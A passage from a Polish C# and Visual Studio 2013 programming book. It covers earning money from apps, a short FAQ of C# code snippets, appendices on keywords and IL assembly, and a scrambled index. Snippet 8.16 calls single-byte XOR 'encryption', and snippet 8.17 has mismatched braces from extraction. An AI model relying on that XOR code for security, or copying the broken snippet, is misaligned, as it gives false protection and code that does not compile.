wej pracy jako programiści. Dlatego podsunę kilka pomysłów, jak zarobić na swoich
aplikacjach.

Znając Windows Forms czy Windows Presentation Foundation, można stworzyć różne
aplikacje dla Pulpitu. Osoba, która ma już pewne doświadczenie, może stworzyć pro-
gram magazynowy, program do zarządzania np. myjnią samochodową, salonem fry-
zjerskim czy wypożyczalnią filmów. Tutaj jednak samemu trzeba zająć się sprzedażą
i reklamą swoich produktów.

O wiele łatwiej jest, jeśli pisze się aplikacje dla Sklepu Windows czy dla Sklepu
Windows Phone. Obecnie bardziej się opłaca tworzyć dla Windows Phone niż dla
Windows 8/8.1, ze względu na większą liczbę użytkowników, którzy, jak sam zauwa-
żyłem, chętnie klikają reklamy, jakie można umieścić w swojej aplikacji. Prowadzi-
łem kiedyś dość popularny serwis dotyczący programowania ― w nadziei, że coś za-
robię, zainstalowałem w nim reklamy Google Adsense. Jedyne kliknięcia to były te,
o które prosiłem znajomych. No, może czasem ktoś przypadkowo kliknął. Całkiem inna
sytuacja jest z reklamami w aplikacjach mobilnych. Od siebie polecam Google AdMob.
Gdy już stworzysz aplikację dla Windows Phone, możesz zainstalować w niej reklamy
AdMob i za każde kliknięcie reklamy w Twojej aplikacji dostaniesz pieniądze. Czytałem
kiedyś o badaniach, z których wynikało, że Windows Phone ma największą klikal-
ność reklam, większą niż Android czy iOS, mimo że tamte górują liczbą użytkowników.
Żeby nie być gołosłownym, na rysunku 7.1 prezentuję moje zarobki z reklam z kilku
aplikacji mobilnych. Całą „zabawę” w tworzenie aplikacji zacząłem około czterech
miesięcy temu. Przedstawiona kwota nie wystarcza na utrzymanie, ale może być do-
datkiem do dochodu. Zresztą niejeden chciałby zarobić choć trochę na swoim hobby.
176 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Rysunek 7.1.
Moje zarobki
z czteromiesięcznej
„zabawy”
z aplikacjami
Windows Phone

Jak widać na rysunku 7.1, zarobki mają tendencję rosnącą. Zaczynałem od kwoty 13 zł
miesięcznie, a za czwarty miesiąc uzbierało się 158 zł. Wydawałem jedną albo dwie
aplikacje miesięcznie. Czyli tak naprawdę mam ich niedużo na koncie i nie są one
zbytnio rozbudowane czy bardzo popularne.

Kolejna opcja to technologia ASP.NET. Ona też daje nam dużo możliwości. Można
tworzyć strony internetowe na zlecenie. Dobrze jest wykupić dobry hosting z systemem
Windows i wszystkie tworzone strony klientów trzymać właśnie na tym serwerze. Chyba
że klient ma własne życzenia co do miejsca przechowywania strony albo ma własny
hosting. Technologia ASP.NET jest naprawdę potężna i pozwala szybko tworzyć roz-
budowane aplikacje bazodanowe. Można stworzyć aplikację np. przypominającą de-
motywatory.pl, tj. opartą na dodawaniu różnych obrazków przez użytkowników, aby
goście mogli je oglądać i oceniać. Taką aplikację można komuś sprzedać z kodem
źródłowym. Bez problemu można stworzyć aplikację do zarządzania firmą. Widziałem
aplikacje sieciowe do zarządzania salonem fryzjerskim online. Autor zarabiał dzięki
abonamentowi, ponieważ każdy salon zarządzany przez tę aplikację płacił mu co miesiąc
określoną kwotę za jej używanie.
Rozdział 7.  Zarabianie jako wolny strzelec 177

Sposobów, żeby zarobić na programowaniu, jest naprawdę dużo. Można być wolnym
strzelcem i zajmować się zleceniami lub własnymi projektami i na tym zarabiać. Jest
to dobra droga dla licealisty lub studenta, a także sposób na dodatkową pracę. Są również
osoby, które tak się w tej dziedzinie rozwinęły, że z tego się utrzymują. Z drugiej
strony nic nie stoi na przeszkodzie, żeby zatrudnić się w określonej firmie jako pro-
gramista pracujący zdalnie na pół etatu, w weekendy albo współpracować na umowę
o dzieło.

W tym miejscu wszystkim czytelnikom życzę sukcesów w nauce programowania.


Żebyście znaleźli dobrą pracę, a może nawet otworzyli własny biznes, który będzie
dobrze zarabiał!

7.1. Rozliczanie dochodów


z aplikacji mobilnych
Jeśli już coś zarobimy, to musimy się z tego rozliczyć z urzędem skarbowym. W przy-
padku zlecenia dla kogoś zazwyczaj podpisujemy umowę o dzieło lub umowę-zlecenie.
Jednak gdy mamy dochody np. z reklam Google AdMob, to kwota, którą wypłaca
nam Google, jest kwotą brutto. Musimy od tego zapłacić 18% podatku dochodowego.
Musimy go wpłacić do 20. dnia miesiąca za miesiąc poprzedni. Dochody takie należy też
wykazać pod koniec roku w dokumencie PIT.

Informacje, które tu podaję, usłyszałem od pani z urzędu skarbowego, gdy zadzwo-


niłem i o to zapytałem. Jeśli jednak chcesz być w stu procentach pewny, że nie bę-
dziesz mieć w przyszłości problemów, to zadzwoń do urzędu skarbowego, któremu
podlegasz, powiedz, gdzie i jak zarabiasz, i że nie wiesz, jak się rozliczyć. Na pewno
uzyskasz odpowiedź. Nie traktuj moich porad jako profesjonalnych porad prawnych.
178 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rozdział 8.
FAQ ― najczęściej
zadawane pytania

8.1. Jak pobrać adres IP


na podstawie nazwy hosta?
using System;
using System.Net;

class Program
{
static void Main()
{
string helion = "www.helion.pl"; //zmienna string z adresem URL
//pobierz adres IP
IPAddress[] addresslist = Dns.GetHostAddresses(helion);

foreach (IPAddress theaddress in addresslist)


{
//wyświetl adres(y) IP na ekranie
Console.WriteLine(theaddress.ToString());
}
}
}

8.2. Jak wysłać wiadomość e-mail?


using System;
using System.Net;
using System.Net.Mail;

class Program
180 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

{
static void Main()
{
SmtpClient smtpClient = new SmtpClient();
NetworkCredential basicCredential = new NetworkCredential();
MailMessage message = new MailMessage();
MailAddress fromAddress = new MailAddress("nadawca@serwer.com");
int error = 0;

basicCredential.UserName = "użytkownik@serwer.com";
basicCredential.Password = "hasło";

smtpClient.Host = "smtp.serwer.com";
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = basicCredential;
smtpClient.EnableSsl = true; //true, gdy serwer SMTP wymaga szyfrowania

message.From = fromAddress;
message.Subject = "Temat wiadomości";

message.IsBodyHtml = true; //true, gdy wiadomość w formacie HTML


message.Body = "<strong>Treść wiadomości</strong>";
message.To.Add("odbiorca@serwer.com");

try
{
smtpClient.Send(message);
}
catch
{
error = 1;
Console.WriteLine("Wystąpił błąd.");
}
finally
{
if(error == 0)
Console.WriteLine("Wiadomość została wysłana.");
}
}
}

8.3. Jak wysłać plik na serwer FTP?


using System;
using System.Net;
using System.IO;

class Program
{
static void Main()
{
FtpWebRequest ftp = (FtpWebRequest)WebRequest.
Create("ftp://ftp.serwer.com/www/plik.txt");
ftp.Credentials = new NetworkCredential("użytkownik", "hasło");
ftp.KeepAlive = true;
Rozdział 8.  FAQ ― najczęściej zadawane pytania 181

ftp.UseBinary = true;
ftp.Method = WebRequestMethods.Ftp.UploadFile;
FileStream fs = File.OpenRead(@"C:\plik.txt"); //ścieżka lokalna
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream ftpstream = ftp.GetRequestStream();
ftpstream.Write(buffer, 0, buffer.Length);
ftpstream.Close();
}
}

8.4. Jak wywołać funkcję


z kodu niezarządzanego?
using System;
using System.Runtime.InteropServices;

class Program
{
[DllImport("msvcrt.dll")] //zaimportowanie biblioteki DLL
public static extern int puts(string c); //deklaracja funkcji z biblioteki
[DllImport("msvcrt.dll")] //zaimportowanie biblioteki DLL
internal static extern int _flushall(); //deklaracja funkcji z biblioteki
static void Main()
{
puts("Witaj!"); //wypisze na konsoli napis: Witaj!
_flushall();
}
}

8.5. Jak wykonywać operacje


na dużych liczbach?
using System;
using System.Numerics;

class Program
{
static void Main()
{
Console.WriteLine("Podaj pierwszą liczbę:");
string strA = Console.ReadLine(); //wczytaj linię tekstu z konsoli
Console.WriteLine("Podaj drugą liczbę:");
string strB = Console.ReadLine(); //wczytaj linię tekstu z konsoli

BigInteger a = BigInteger.Parse(strA); //przekonwertuj napis na BigInteger


BigInteger b = BigInteger.Parse(strB); //przekonwertuj napis na BigInteger
182 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Console.WriteLine("Wyniki:");
Console.WriteLine("{0} + {1} = {2}", a, b, a + b);
Console.WriteLine("{0} - {1} = {2}", a, b, a - b);
Console.WriteLine("{0} * {1} = {2}", a, b, a * b);
Console.WriteLine("{0} / {1} = {2}", a, b, a / b);
}
}

8.6. Jak wykonywać operacje


na liczbach zespolonych?
using System;
using System.Numerics;

class Program
{
static void Main()
{
Complex complex1 = new Complex(17.34, 12.87);
Complex complex2 = new Complex(8.76, 5.19);

Console.WriteLine("{0} + {1} = {2}", complex1, complex2,


complex1 + complex2);
Console.WriteLine("{0} - {1} = {2}", complex1, complex2,
complex1 - complex2);
Console.WriteLine("{0} * {1} = {2}", complex1, complex2,
complex1 * complex2);
Console.WriteLine("{0} / {1} = {2}", complex1, complex2,
complex1 / complex2);
}
}

8.7. Jak kopiować katalogi?


using System;
using System.IO;

class DirectoryCopyExample
{
static void Main()
{
//kopiuje katalog cat1 do katalogu cat2 wraz z podkatalogami i plikami
DirectoryCopy(@"C:\cat1", @"C:\cat2", true);
}

private static void DirectoryCopy(string sourceDirName, string destDirName,


bool copySubDirs)
{
DirectoryInfo dir = new DirectoryInfo(sourceDirName);
DirectoryInfo[] dirs = dir.GetDirectories();
Rozdział 8.  FAQ ― najczęściej zadawane pytania 183

if (!dir.Exists)
{
throw new DirectoryNotFoundException(
"Katalog źródłowy nie istnieje lub nie może zostać odnaleziony: "
+ sourceDirName);
}

if (!Directory.Exists(destDirName))
{
Directory.CreateDirectory(destDirName);
}

FileInfo[] files = dir.GetFiles();


foreach (FileInfo file in files)
{
string temppath = Path.Combine(destDirName, file.Name);
file.CopyTo(temppath, false);
}

if (copySubDirs)
{
foreach (DirectoryInfo subdir in dirs)
{
string temppath = Path.Combine(destDirName, subdir.Name);
DirectoryCopy(subdir.FullName, temppath, copySubDirs);
}
}
}
}

8.8. Jak wylistować pliki w katalogu?


using System;
using System.IO;

public class DirectoryLister


{
public static void Main(String[] args)
{
string path = Environment.CurrentDirectory;
if (args.Length > 0)
{
if (Directory.Exists(args[0]))
{
path = args[0];
}
else
{
Console.WriteLine("{0} nie znaleziono; używając katalogu bieżącego:",
args[0]);
}
}
DirectoryInfo dir = new DirectoryInfo(path);
Console.WriteLine("Rozmiar \tData utworzenia \tNazwa");
foreach (FileInfo f in dir.GetFiles("*.exe"))
184 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

{
string name = f.Name;
long size = f.Length;
DateTime creationTime = f.CreationTime;
Console.WriteLine("{0,-12:N0} \t{1,-20:g} \t{2}", size,
creationTime, name);
}
}
}

8.9. Jak wylistować katalogi


w podanej ścieżce?
using System;
using System.Collections.Generic;
using System.IO;

class Program
{
private static void Main(string[] args)
{
try
{
string dirPath = @"C:\"; //katalog do przeszukania

List<string> dirs = new List<string>


(Directory.EnumerateDirectories(dirPath));

foreach (var dir in dirs)


{
Console.WriteLine("{0}", dir.Substring(dir.LastIndexOf("\\") + 1));
}
Console.WriteLine("W sumie znaleziono {0} katalogów.", dirs.Count);
}
catch (UnauthorizedAccessException UAEx)
{
Console.WriteLine(UAEx.Message);
}
catch (PathTooLongException PathEx)
{
Console.WriteLine(PathEx.Message);
}
}
}
Rozdział 8.  FAQ ― najczęściej zadawane pytania 185

8.10. Jak odczytać dane


z pliku tekstowego?
using System;
using System.IO;

class Test
{
public static void Main()
{
try
{
using (StreamReader sr = new StreamReader("TestFile.txt"))
{
String line = sr.ReadToEnd(); //czytaj plik do końca
Console.WriteLine(line); //wyświetl zawartość na ekranie
}
}
catch (Exception e)
{
Console.WriteLine("Nie można odczytać danych z pliku:");
Console.WriteLine(e.Message);
}
}
}

8.11. Jak zapisać dane


do pliku tekstowego?
using System;
using System.IO;

class Program
{
private static void Main(string[] args)
{
string str = String.Empty; //utwórz pusty napis
str = Console.ReadLine(); //pobierz tekst z konsoli i zapisz do zmiennej
//utwórz Pisarza
using (StreamWriter outfile = new StreamWriter(@"C:\file1.txt"))
{
outfile.Write(str); //zapisz dane ze zmiennej str do pliku
}
}
}
186 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

8.12. Jak kompresować


i dekompresować dane
w formacie ZIP?
using System;
using System.IO;
using System.IO.Compression;

namespace ConsoleApplication
{
class Program
{
static void Main(string[] args)
{
string startPath = @"c:\example\start";
string zipPath = @"c:\example\result.zip";
string extractPath = @"c:\example\extract";

ZipFile.CreateFromDirectory(startPath, zipPath);

ZipFile.ExtractToDirectory(zipPath, extractPath);
}
}
}

8.13. Jak stworzyć klucz w rejestrze?


using System;
using System.IO;
using Microsoft.Win32;

class Program
{
static void Main(string[] args)
{
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "Imiona";
const string keyName = userRoot + "\\" + subkey;

Registry.SetValue(keyName, "Imię", "Izabela");


}
}
Rozdział 8.  FAQ ― najczęściej zadawane pytania 187

8.14. Jak odczytać wartość klucza


w rejestrze?
using System;
using System.IO;
using Microsoft.Win32;

class Program
{
static void Main(string[] args)
{
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "Imiona";
const string keyName = userRoot + "\\" + subkey;

string str = (string) Registry.GetValue(keyName, "Imię", "brak");


Console.WriteLine("{0}", str);
}
}

8.15. Jak rzucać i łapać wyjątki?


using System;

class ExceptionTest
{
static double SafeDivision(double x, double y)
{
if (y == 0)
throw new System.DivideByZeroException(); //rzuć wyjątek DivideByZeroException
return x / y;
}
static void Main()
{
double a = 98, b = 0;
double result = 0;

try //spróbuj wykonać dzielenie


{
result = SafeDivision(a, b);
Console.WriteLine("{0} / {1} = {2}", a, b, result);
}
catch (DivideByZeroException e) //złap wyjątek, gdy wystąpił
{
Console.WriteLine("Próbujesz dzielić przez zero.");
}
}
}
188 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

8.16. Jak zaszyfrować dane


operatorem XOR?
public byte[] XorData(byte[] bytes, byte Key)
{
for (int i = 0; i < bytes.GetLength(0); i++)
{
bytes[i] ^= Key;
}
return bytes;
}

8.17. Jak wyszukać pliki


określonego typu?
public static IEnumerable<string> GetXmlFiles(string root)
{
Stack<string> pending = new Stack<string>();
pending.Push(root);
while (pending.Count != 0)
{
var path = pending.Pop();
string[] next = null;
try
{
next = Directory.GetFiles(path, "*.xml");
}
catch
{

if (next != null && next.Length != 0)


foreach (var file in next)
{
long length = new System.IO.FileInfo(file).Length;
DateTime creationDate = new System.IO.FileInfo(file).CreationTime;

if (length >= 4096 && length <= 153600)


{
if(creationDate.Year > 2013)
{
yield return file;
}
}
else continue;
}
try
{
Rozdział 8.  FAQ ― najczęściej zadawane pytania 189

next = Directory.GetDirectories(path);
foreach (var subdir in next) pending.Push(subdir);
}
catch
{

}
}
}
190 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Dodatek A
Słowa kluczowe języka C#
Słowa kluczowe są predefiniowanymi zarezerwowanymi identyfikatorami, które mają
specjalne znaczenie dla kompilatora. Nie mogą być używane jako zwykłe identyfika-
tory, o ile nie mają znaku @ jako prefiksu. Na przykład @if jest dozwolonym identyfi-
katorem, natomiast if już nie, gdyż jest to słowo kluczowe.

abstract event new struct


as explicit null switch
base extern object this
bool false operator throw
break finally out true
byte fixed override try
case float params typeof
catch for private uint
char foreach protected ulong
checked goto public unchecked
class if readonly unsafe
const implicit ref ushort
continue in return using
decimal int sbyte virtual
default interface sealed volatile
delegate internal short void
do is sizeof while
double lock stackalloc ―
else long static ―
enum namespace string ―
192 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Dodatek B
Asembler IL (CIL, MSIL)
Każdy program w języku C# jest tłumaczony na specjalny język Asembler nazywany
IL, czyli intermediate language (język pośredni). Pakiet Visual Studio zawiera asembler
IL, czyli narzędzie, które z kodu Asemblera tworzy plik wykonywalny. Aby uruchomić
asembler IL, należy w wierszu polecenia środowiska Visual Studio wpisać: ilasm.

Program IL Assembler umożliwia dostawcom narzędzi projektowanie i implementowa-


nie generatorów języka IL. Używając programu Ilasm.exe, deweloperzy narzędzi i kom-
pilatorów mogą skupić się na generowaniu kodu IL i metadanych, bez konieczności
zajmowania się emitowaniem kodu IL w formacie pliku PE.

Podobnie jak w przypadku innych kompilatorów, które są przeznaczone dla środowi-


ska uruchomieniowego, takich jak kompilatory języków C# i Visual Basic, program
Ilasm.exe nie tworzy plików obiektów pośrednich i nie wymaga etapu łączenia, aby
utworzyć plik PE.

Program IL Assembler może wyrazić wszystkie istniejące metadane i funkcje IL języ-


ków programowania, które są przeznaczone dla środowiska uruchomieniowego. Dzięki
temu kod zarządzany napisany w każdym z tych języków programowania może być
odpowiednio wyrażany w programie IL Assembler i kompilowany przy użyciu pro-
gramu Ilasm.exe.

Programu Ilasm.exe można używać w połączeniu z jego pomocniczym narzędziem


o nazwie Ildasm.exe. Program Ildasm.exe przyjmuje plik PE, który zawiera kod IL, i two-
rzy plik tekstowy, którego można użyć jako danych wejściowych programu Ilasm.exe.
Jest to przydatne na przykład podczas kompilowania kodu w języku programowania,
który nie obsługuje wszystkich atrybutów metadanych środowiska uruchomieniowego.
Po skompilowaniu kodu i przetworzeniu danych wyjściowych w programie Ildasm.exe
wynikowy plik tekstowy IL można edytować ręcznie w celu dodania brakujących atry-
butów. Następnie można przetworzyć ten plik tekstowy przy użyciu programu Ilasm.exe,
aby wygenerować ostateczny plik wykonywalny.

Tej techniki można również użyć, aby utworzyć pojedynczy plik PE z kilku plików PE,
oryginalnie utworzonych przez różne kompilatory.
194 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Jeśli chcemy z kodu C# uzyskać kod Asemblera IL, można użyć narzędzia ildasm.exe.

Wtedy przykładowo z kodu C#:


using System;
public class Hello
{
public static void Main(String[] args)
{
Console.WriteLine("Hello World!");
}
}

uzyskamy kod Asemblera:


//Metadata version: v2.0.50215
.assembly extern mscorlib
{
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) //.z\V.4..
.ver 2:0:0:0
}
.assembly sample
{
.custom instance void [mscorlib]System.Runtime.CompilerServices.
CompilationRelaxationsAttribute::.ctor(int32) = ( 01 00 08 00 00 00 00 00 )
.hash algorithm 0x00008004
.ver 0:0:0:0
}
.module sample.exe
//MVID: {A224F460-A049-4A03-9E71-80A36DBBBCD3}
.imagebase 0x00400000
.file alignment 0x00000200
.stackreserve 0x00100000
.subsystem 0x0003 //WINDOWS_CUI
.corflags 0x00000001 //ILONLY
//Image base: 0x02F20000

//=============== CLASS MEMBERS DECLARATION ===================

.class public auto ansi beforefieldinit Hello


extends [mscorlib]System.Object
{
.method public hidebysig static void Main(string[] args) cil managed
{
.entrypoint
//Code size 13 (0xd)
.maxstack 8
IL_0000: nop
IL_0001: ldstr "Hello World!"
IL_0006: call void [mscorlib]System.Console::WriteLine(string)
IL_000b: nop
IL_000c: ret
} //end of method Hello::Main

.method public hidebysig specialname rtspecialname


instance void .ctor() cil managed
{
//Code size 7 (0x7)
Rozdział 8.  FAQ ― najczęściej zadawane pytania 195

.maxstack 8
IL_0000: ldarg.0
IL_0001: call instance void [mscorlib]System.Object::.ctor()
IL_0006: ret
} //end of method Hello::.ctor

} //end of class Hello


196 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Skorowidz
A data, 104, 130 H
dekrementacja, 20
AdMob, 175 delegat, 11, 72, 73, 90 hermetyzacja, 51
adres operandu, 22 Func, 74
akcesor, 60 tworzenie, 73, 74
get, 60, 64 destruktor, 10, 48 I
set, 60 dziedziczenie, 48, 68 IL, 193
akcja, 144 ograniczenie, 94 Ilasm.exe, 193
aplikacja ildasm.exe, 194
ASP.NET MVC, 143, 176
konsolowa, 95 E indekser, 10, 19, 64
inkrementacja, 19
tworzenie, 133, 137, 138 e-mail, 179 instrukcja
Windows Forms, 75 enkapsulacja, Patrz: pętli, Patrz: pętla
Windows Phone, 137, 175
hermetyzacja switch, 32
argument, 37, 42
etykieta, 149 warunkowa if, 15
Asembler IL, 193
tekstowa, 104, 131 wyboru, 17
ASP.NET, 176
w formie hiperłącza, 104 interfejs, 11, 60
event, Patrz: zdarzenie ICloneable, 62
B implementacja, 61
System. Collections.
badge, Patrz: odznaka F Generic.IEnumerable, 31
biblioteka, 91 System.Collections.
Bootstrap, 145, 148, 149 FIFO, Patrz: kolejka
FTP, 180 IEnumerable, 31
funkcja użytkownika, 129
C anonimowa, 72, 74 intermediate language,
Main, 95 Patrz: język pośredni
CheckBox, 130 adres, 179
statyczna, 54
cytat blokowy, 146
czas, 104
licznik, 106 G J
czcionka, 104
Google AdMob, 175 język
Google Adsense, 175 pośredni, 193
D gra RPG, 99 XAML, 129
jumbotron, 150
dane
kompresja, 186
szyfrowanie, 188
198 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

K FontDialog, 104
GroupBox, 104, 130
M
kalendarz, 105, 130 grupowanie, 104, 130 metoda, 10
kalkulator, 108 hasła, 131 abstrakcyjna, 93
naukowy, 96 Hub, 137 anonimowa, 72, 73
katalog Image, 130 BinarySearch, 38
kopiowanie, 182 kalendarza, 105, 130 Clear, 38
listowanie, 183, 184 Label, 104, 131 Clone, 38, 62
keylogger, 111 licznika czasu, 106 Copy, 38
klasa, 10, 44 LinkLabel, 104 deklarowanie, 41
abstrakcyjna, 85, 93 ListBox, 104, 131 Find, 38
bazowa, 66, 85 ListView, 105, 131 FindAll, 39
generyczna listy, 131 IndexOf, 39
Dictionary, 81 MaskedTextBox, 105 Initialize, 39
KeyedCollection, 85 MonthCalendar, 105 Main, 57
LinkedList, 79 NumericUpDown, 105 nazwana, 73
List, 80 OpenFileDialog, 105 Object.ReferenceEquals, 62
Queue, 77 Panel, 105 przeciążanie, 53
SortedDictionary, 83 Panorama, 137, 138 przypisana do delegatu, 90
SortedList, 88 PasswordBox, 131 Reverse, 40
Stack, 78 PictureBox, 105 rozszerzająca, 75, 76
hierarchia, 66 Pivot, 137, 138 Sort, 40
pochodna, 66, 68, 71 podpowiedzi, 106 statyczna, 57
przesłonianie, 68 ProgressBar, 106, 131 ToString, 71
System.Array, 37 przeglądarki internetowej, wirtualna, 66, 94
System.Math, 96 132 Microsoft Visual Studio 2013
zagnieżdżona, 11, 49 przewijana, 132 Express
zapieczętowana, 94 RadioButton, 106, 131 wersja, 7
klucz, 186, 187 RichTextBox, 106, 131 Model View Controller, Patrz:
kod ScrollViewer, 132 MVC
nienadzorowany, 42 Slider, 132 modyfikator
niezarządzany, 21 suwaka, 106, 132 dostępu, 50, 51, 61
wywołanie funkcji, 181 TabControl, 106 internal, 50
kolejka, 77 TextBlock, 132 private, 50, 51
kolekcja kluczy i wartości, 81 TextBox, 106 protected, 50
posortowana, 83, 88 Timer, 106 protected internal, 50
komentarz Tooltip, 106 public, 50
blokowy, 14 TrackBar, 106 MVC, 143
liniowy, 14 TreeView, 107, 132
XML, 14 tworzenie, 107
konstruktor, 10, 20, 47 WebBrowser, 132 N
kontrawariancja, 90 widoku drzewa, 107, 132 null, 11
kontroler, 144 zakładek, 106
kontrolka, 75, 103 kowariancja, 90
BackgroundWorker, 103 O
Button, 103, 129
Calendar, 129
L obiekt, 44
kompatybilność z typem, 24
CheckBox, 103 LINQ, 153 kopia
CheckedListBox, 103 lista, 75, 80, 105, 131 głęboka, 63
ColorDialog, 103 podwójnie łączona, 79 płytka, 62
ComboBox, 104, 130 posortowana, 88 niszczenie, 48
DatePicker, 130 rozwijana, 104, 130 tworzenie, 20, 47
DateTimePicker, 104 typ, 20
FolderBrowserDialog, 104
Spis treści 199

obrazek, 130, 149 przesunięcia, 23 słownik, 81


obsługa błędów, Patrz: wyjątek przypisania, 12, 26, 62 posortowany, 83
odznaka, 150 relacji, 24 słowo kluczowe, 191
okno dialogowe sizeof, 23 abstract, 68, 93
otwierania pliku, 105 typeof, 20 break, 32
zapisu pliku, 106 unchecked, 21 catch, 91
przeglądania folderów, 104 warunkowy, 26 class, 10, 44
operacja continue, 33
na dużych liczbach, 181 explicit, 55, 56
na liczbach zespolonych, 182
P finally, 91
wejścia-wyjścia panel, 152 goto, 33
synchroniczna, 93 pasek postępu, 106, 131, 151 implicit, 55
operator, 11, 18 pętla interface, 60
!, 17, 22 do-while, 28 internal, 50
!=, 11, 25, 44 for, 28, 95 new, 69, 70
%, 23 foreach, 31 operator, 54
&, 22, 25, 44 while, 32 out, 42
&&, 17 zamknięcie, 32 override, 68, 70
(), 19 plik private, 50, 51
*, 23, 44 tekstowy, 185 protected, 50
/, 23 wyszukiwanie, 188 protected internal, 50
??, 27 pole, 10 public, 44, 50
[ ], 19, 44 tekstowe, 106, 132 readonly, 51
||, 17 z maską, 105 ref, 42
~, 22 wyboru return, 34
+, 21, 44 jednokrotnego, 106, 131 sealed, 70, 94
++, 19, 44 wielokrotnego, 103, 130 static, 41
<, 24, 44 polimorfizm, 66 this, 46
<<, 23 powiadomienie, 150 throw, 34
<=, 24, 44 program try, 91
=, 26, 62 Ilasm.exe, 193 unsafe, 42
==, 11, 25, 44 ildasm.exe, 194 using, 58
>, 24, 44 przeglądarka internetowa, 132 virtual, 68, 94
->, 21, 44 przepełnienie, 20, 21 stała, 10, 13
>=, 24, 44 przestrzeń nazw, 57 stos, 78
>>, 23 System, 57 strona
agregacji, 169 tworzenie, 58, 76 internetowa, 132
alternatywy, 25 przycisk, 75, 103, 129, 148 orientacja, 139
warunkowej, 26 stronicowanie, 149
wykluczającej, 25 struktura, 11
as, 24, 91 R suwak, 106, 132
checked, 20 referencja, 62 System.Object, 11
dereferencji, 23, 44 rejestr, 186, 187 System.String, 11
generowania, 168 rejestrator dźwięku, 110 szpieg klawiatury, Patrz:
indeksowania, 44 RPG, 99 keylogger
is, 24
jednoargumentowy, 21
koniunkcji, 22, 25, 26 S T
konwersji, 24, 91 tablica, 19, 35, 36
kropki, 19 serwer FTP, 180
Silverlight, 137 długość, 37
negacji, 22 element
new, 20 składowa
abstrakcyjna, 93 indeks, 39
priorytet, 18 kolejność, 40
przeciążanie, 18, 54, 55 asynchroniczna, 93
kopiowanie, 38
200 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

tablica
inicjalizacja, 39
U zapis, 153
zestaw, 165
jako argument metody, 36 unsafe code, Patrz: kod zdarzenie, 11, 75, 103
kopia, 38 nienadzorowany zmienna, 12
liczba wymiarów, 37 inicjalizacja, 12
przeszukiwanie, 38, 39 kapsułkowanie, 13
rozmiar, 40 W licznikowa, 29
sortowanie, 40 wartość null, Patrz: null nazwa, 13
wyszukiwanie binarne, 38 wiadomość e-mail, 179 opakowywanie, 53
typ wiązanie, 52 znacznik XML, 14, 15
anonimowy, 12 wielopostaciowość, znak
bool, 10, 43 Patrz: polimorfizm !, 17, 22
byte, 43 wiersz polecenia, 95 !=, 11, 25, 44
całkowitoliczbowy, 9 Windows Forms, Patrz: %, 23
char, 43 WinForms &, 22, 25, 44
decimal, 10, 43 Windows Presentation &&, 17
double, 43 Foundation, 129, 175 (), 19
enum, 43 WinForms, 75, 103, 175 *, 23, 44
float, 43 właściwość, 10, 60 */, 14
generyczny, 77 HasValue, 12 ., 19
int, 43, 71 Length, 37 /, 23
konwersja, 13 Rank, 37 /*, 14
logiczny, 10, 43 wskaźnik, 19 //, 14
long, 43 wyjątek, 34, 91, 187 ///, 14
niezarządzany, 43 wyrażenie ??, 27
nullable, 11 lambda, 72, 74 @, 191
object, 53 logiczne, 22 [ ], 19, 44
polimorficzny, 68 ||, 17
prosty, 9 Z ~, 22
konwersja, 53 +, 21, 44
referencyjny, 10, 11, 24, 62 zakładka, 106 ++, 19, 44
rozmiar, 23 zapytanie LINQ, 153, 168, <, 24, 44
rzutowanie, 13 169, 171 <<, 23
sbyte, 43 dzielenie, 159 <=, 24, 44
short, 43 grupowanie, 164 =, 12, 26
strukturalny, 13 kolejność, 161 ==, 11, 25, 44
uint, 43 konwersja, 166 >, 24, 44
ulong, 43 kwantyfikator, 168 ->, 21, 44
ushort, 43 łączenie, 172 >=, 24, 44
wskaźnikowy, 43 operacja elementarna, 167 >>, 23
wyliczeniowy, 13 projekcja, 155
zmiennoprzecinkowy, 10 restrykcja, 154

You might also like